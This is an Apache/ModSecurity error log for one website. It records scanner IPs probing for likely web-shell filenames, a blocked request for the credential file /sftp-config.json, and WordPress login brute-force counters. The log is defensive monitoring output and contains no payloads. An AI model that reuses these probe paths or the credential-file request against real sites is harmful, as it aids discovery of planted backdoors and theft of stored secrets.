[Thu Jan 08 04:40:02.631461 2026] [:error] [pid 15358:tid 15380] [client 4.194.192.180:6804] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aV7EoioRk9xWJ3toSBKm_QAAAMo"]
[Thu Jan 08 04:40:02.930975 2026] [:error] [pid 15358:tid 15389] [client 4.194.192.180:6954] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aV7EoioRk9xWJ3toSBKnAwAAANM"]
[Thu Jan 08 04:40:03.211640 2026] [:error] [pid 15264:tid 15306] [client 4.194.192.180:6752] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aV7Eo4ov6_kvS0Owh-pk2QAAAEc"]
[Thu Jan 08 04:40:03.565410 2026] [:error] [pid 15263:tid 15295] [client 4.194.192.180:6792] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aV7Eo9v61bxum7WG_e9CRgAAABc"]
[Thu Jan 08 04:40:04.106489 2026] [:error] [pid 15264:tid 15323] [client 4.194.192.180:6900] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aV7EpIov6_kvS0Owh-pk3QAAAFg"]
[Thu Jan 08 04:40:04.315894 2026] [:error] [pid 15263:tid 15287] [client 4.194.192.180:6852] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aV7EpNv61bxum7WG_e9CSAAAAA8"]
[Thu Jan 08 04:40:04.762077 2026] [:error] [pid 15263:tid 15289] [client 4.194.192.180:6840] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aV7EpNv61bxum7WG_e9CSQAAABE"]
[Thu Jan 08 04:40:05.301452 2026] [:error] [pid 15263:tid 15276] [client 4.194.192.180:7041] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aV7Epdv61bxum7WG_e9CSgAAAAQ"]
[Thu Jan 08 04:40:05.562489 2026] [:error] [pid 15263:tid 15273] [client 4.194.192.180:6836] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aV7Epdv61bxum7WG_e9CSwAAAAE"]
[Thu Jan 08 04:40:05.915195 2026] [:error] [pid 15265:tid 15349] [client 4.194.192.180:6801] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aV7EpaE6VBKhew2LTFSDywAAAJc"]
[Thu Jan 08 04:40:06.210761 2026] [:error] [pid 15358:tid 15381] [client 4.194.192.180:6839] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aV7EpioRk9xWJ3toSBKnGQAAAMs"]
[Thu Jan 08 04:40:06.462081 2026] [:error] [pid 15358:tid 15375] [client 4.194.192.180:7014] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aV7EpioRk9xWJ3toSBKnHQAAAMU"]
[Thu Jan 08 04:40:07.136306 2026] [:error] [pid 15265:tid 15327] [client 4.194.192.180:6896] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aV7Ep6E6VBKhew2LTFSDzAAAAIE"]
[Thu Jan 08 04:40:07.605085 2026] [:error] [pid 15358:tid 15392] [client 4.194.192.180:6805] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aV7EpyoRk9xWJ3toSBKnKAAAANY"]
[Thu Jan 08 04:40:07.942673 2026] [:error] [pid 15358:tid 15370] [client 4.194.192.180:6803] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aV7EpyoRk9xWJ3toSBKnKwAAAMA"]
[Thu Jan 08 04:40:08.263915 2026] [:error] [pid 15263:tid 15274] [client 4.194.192.180:6822] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aV7EqNv61bxum7WG_e9CTwAAAAI"]
[Thu Jan 08 04:40:08.526298 2026] [:error] [pid 15265:tid 15334] [client 4.194.192.180:26468] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aV7EqKE6VBKhew2LTFSDzwAAAIg"]
[Thu Jan 08 04:40:09.276118 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:6853] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aV7EqSoRk9xWJ3toSBKnOAAAAMQ"]
[Thu Jan 08 04:40:09.842099 2026] [:error] [pid 15358:tid 15380] [client 4.194.192.180:6874] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aV7EqSoRk9xWJ3toSBKnPQAAAMo"]
[Thu Jan 08 04:40:10.442219 2026] [:error] [pid 15358:tid 15373] [client 4.194.192.180:6813] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aV7EqioRk9xWJ3toSBKnRQAAAMM"]
[Thu Jan 08 10:27:12.907709 2026] [:error] [pid 15358:tid 15384] [client 103.77.107.178:65497] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aV8WACoRk9xWJ3toSBL6AgAAAM4"]
[Thu Jan 08 14:53:03.207362 2026] [:error] [pid 17404:tid 17428] [client 134.122.92.16:49532] [client 134.122.92.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.92.16, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aV9UT2Vd_oH193N6AnWFDQAAAZY"]
[Thu Jan 08 14:53:03.217724 2026] [proxy_fcgi:error] [pid 17404:tid 17428] [client 134.122.92.16:49532] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 14:58:03.968198 2026] [:error] [pid 2484:tid 2493] [client 188.166.109.222:50424] [client 188.166.109.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.166.109.222, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aV9VeziDlnlaQQK_AEMppgAAAUY"]
[Thu Jan 08 14:58:03.980455 2026] [proxy_fcgi:error] [pid 2484:tid 2493] [client 188.166.109.222:50424] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:22.569017 2026] [proxy_fcgi:error] [pid 7586:tid 7612] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:22.710057 2026] [proxy_fcgi:error] [pid 7586:tid 7607] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:22.850168 2026] [proxy_fcgi:error] [pid 7586:tid 7609] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:22.988813 2026] [proxy_fcgi:error] [pid 7586:tid 7589] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:23.142934 2026] [proxy_fcgi:error] [pid 7586:tid 7598] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:23.281586 2026] [proxy_fcgi:error] [pid 7586:tid 7608] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:24.329508 2026] [proxy_fcgi:error] [pid 7586:tid 7611] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:24.472513 2026] [proxy_fcgi:error] [pid 7586:tid 7606] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:24.621906 2026] [proxy_fcgi:error] [pid 7586:tid 7592] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:24.791136 2026] [proxy_fcgi:error] [pid 7586:tid 7591] [client 20.214.244.118:10769] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:04:25.948560 2026] [:error] [pid 7586:tid 7599] [client 20.214.244.118:10769] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib751.php"] [unique_id "aV-dScJyk37GdXP5TmVkoAAAAcs"]
[Thu Jan 08 20:04:27.633360 2026] [:error] [pid 2424:tid 2441] [client 20.214.244.118:8184] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib751.php"] [unique_id "aV-dS7TDJR8aofkBk9QdJgAAAQ8"]
[Thu Jan 08 20:04:29.195750 2026] [:error] [pid 15265:tid 15334] [client 20.214.244.118:10509] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib751.php"] [unique_id "aV-dTaE6VBKhew2LTFRA7gAAAIg"]
[Thu Jan 08 20:04:35.480457 2026] [:error] [pid 15358:tid 15379] [client 20.214.244.118:8035] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib751.php"] [unique_id "aV-dUyoRk9xWJ3toSBJ0nAAAAMk"]
[Thu Jan 08 20:04:36.177330 2026] [:error] [pid 7586:tid 7612] [client 20.214.244.118:7754] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aV-dVMJyk37GdXP5TmVkrAAAAdY"]
[Thu Jan 08 20:04:36.612227 2026] [:error] [pid 17404:tid 17409] [client 20.214.244.118:8064] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aV-dVGVd_oH193N6AnW12gAAAYM"]
[Thu Jan 08 20:04:39.796119 2026] [:error] [pid 17404:tid 17423] [client 20.214.244.118:7800] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aV-dV2Vd_oH193N6AnW12wAAAZE"]
[Thu Jan 08 20:04:43.168208 2026] [:error] [pid 15263:tid 15273] [client 20.214.244.118:10526] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "aV-dW9v61bxum7WG_e_77wAAAAE"]
[Thu Jan 08 20:04:46.389461 2026] [:error] [pid 7586:tid 7605] [client 20.214.244.118:7791] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib182.php"] [unique_id "aV-dXsJyk37GdXP5TmVkvwAAAc8"]
[Thu Jan 08 20:04:47.473907 2026] [:error] [pid 2484:tid 2494] [client 20.214.244.118:10518] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib182.php"] [unique_id "aV-dXziDlnlaQQK_AEN7TwAAAUc"]
[Thu Jan 08 20:04:49.340417 2026] [:error] [pid 15263:tid 15281] [client 20.214.244.118:10500] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib182.php"] [unique_id "aV-dYdv61bxum7WG_e_78gAAAAk"]
[Thu Jan 08 20:04:51.733659 2026] [:error] [pid 2424:tid 2428] [client 20.214.244.118:8142] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib182.php"] [unique_id "aV-dY7TDJR8aofkBk9QdQgAAAQI"]
[Thu Jan 08 20:04:55.389767 2026] [:error] [pid 15358:tid 15376] [client 20.214.244.118:8075] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tin.php"] [unique_id "aV-dZyoRk9xWJ3toSBJ0pQAAAMY"]
[Thu Jan 08 20:04:56.946280 2026] [:error] [pid 15358:tid 15390] [client 20.214.244.118:8025] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tin.php"] [unique_id "aV-daCoRk9xWJ3toSBJ0qgAAANQ"]
[Thu Jan 08 20:05:00.239933 2026] [:error] [pid 7586:tid 7591] [client 20.214.244.118:10520] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tin.php"] [unique_id "aV-dbMJyk37GdXP5TmVkxQAAAcM"]
[Thu Jan 08 20:05:04.259176 2026] [:error] [pid 7586:tid 7595] [client 20.214.244.118:8088] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tin.php"] [unique_id "aV-dcMJyk37GdXP5TmVkyAAAAcc"]
[Thu Jan 08 20:05:07.027958 2026] [:error] [pid 15264:tid 15301] [client 20.214.244.118:7789] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aV-dc4ov6_kvS0Owh-oK8gAAAEI"]
[Thu Jan 08 20:05:08.238990 2026] [:error] [pid 2484:tid 2489] [client 20.214.244.118:8085] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aV-ddDiDlnlaQQK_AEN7XQAAAUM"]
[Thu Jan 08 20:05:10.142192 2026] [:error] [pid 17404:tid 17406] [client 20.214.244.118:8140] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aV-ddmVd_oH193N6AnW15wAAAYA"]
[Thu Jan 08 20:05:12.397780 2026] [:error] [pid 15265:tid 15333] [client 20.214.244.118:7751] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aV-deKE6VBKhew2LTFRBPgAAAIc"]
[Thu Jan 08 20:05:13.261443 2026] [:error] [pid 15265:tid 15329] [client 20.214.244.118:8099] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aV-deaE6VBKhew2LTFRBQgAAAIM"]
[Thu Jan 08 20:05:14.562100 2026] [:error] [pid 15265:tid 15332] [client 20.214.244.118:10524] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aV-deqE6VBKhew2LTFRBRQAAAIY"]
[Thu Jan 08 20:05:16.814621 2026] [:error] [pid 17404:tid 17428] [client 20.214.244.118:8082] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aV-dfGVd_oH193N6AnW16QAAAZY"]
[Thu Jan 08 20:05:19.340920 2026] [:error] [pid 15264:tid 15309] [client 20.214.244.118:10552] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aV-df4ov6_kvS0Owh-oK-wAAAEo"]
[Thu Jan 08 20:05:23.291066 2026] [:error] [pid 15263:tid 15273] [client 20.214.244.118:8018] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jjhf.php"] [unique_id "aV-dg9v61bxum7WG_e_8CAAAAAE"]
[Thu Jan 08 20:05:25.820527 2026] [proxy_fcgi:error] [pid 17404:tid 17411] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:25.959185 2026] [proxy_fcgi:error] [pid 17404:tid 17412] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:26.099997 2026] [proxy_fcgi:error] [pid 17404:tid 17413] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:26.274291 2026] [proxy_fcgi:error] [pid 17404:tid 17424] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:26.455422 2026] [proxy_fcgi:error] [pid 17404:tid 17421] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:26.613086 2026] [proxy_fcgi:error] [pid 17404:tid 17427] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:26.752974 2026] [proxy_fcgi:error] [pid 17404:tid 17407] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:26.891398 2026] [proxy_fcgi:error] [pid 17404:tid 17430] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:27.031402 2026] [proxy_fcgi:error] [pid 17404:tid 17429] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:27.200113 2026] [proxy_fcgi:error] [pid 17404:tid 17422] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:27.338897 2026] [proxy_fcgi:error] [pid 17404:tid 17426] [client 20.214.244.118:10517] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 20:05:27.474051 2026] [:error] [pid 17404:tid 17419] [client 20.214.244.118:10517] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aV-dh2Vd_oH193N6AnW19gAAAY0"]
[Thu Jan 08 20:05:28.563278 2026] [:error] [pid 2484:tid 2505] [client 20.214.244.118:7798] [client 20.214.244.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aV-diDiDlnlaQQK_AEN7YgAAAVE"]
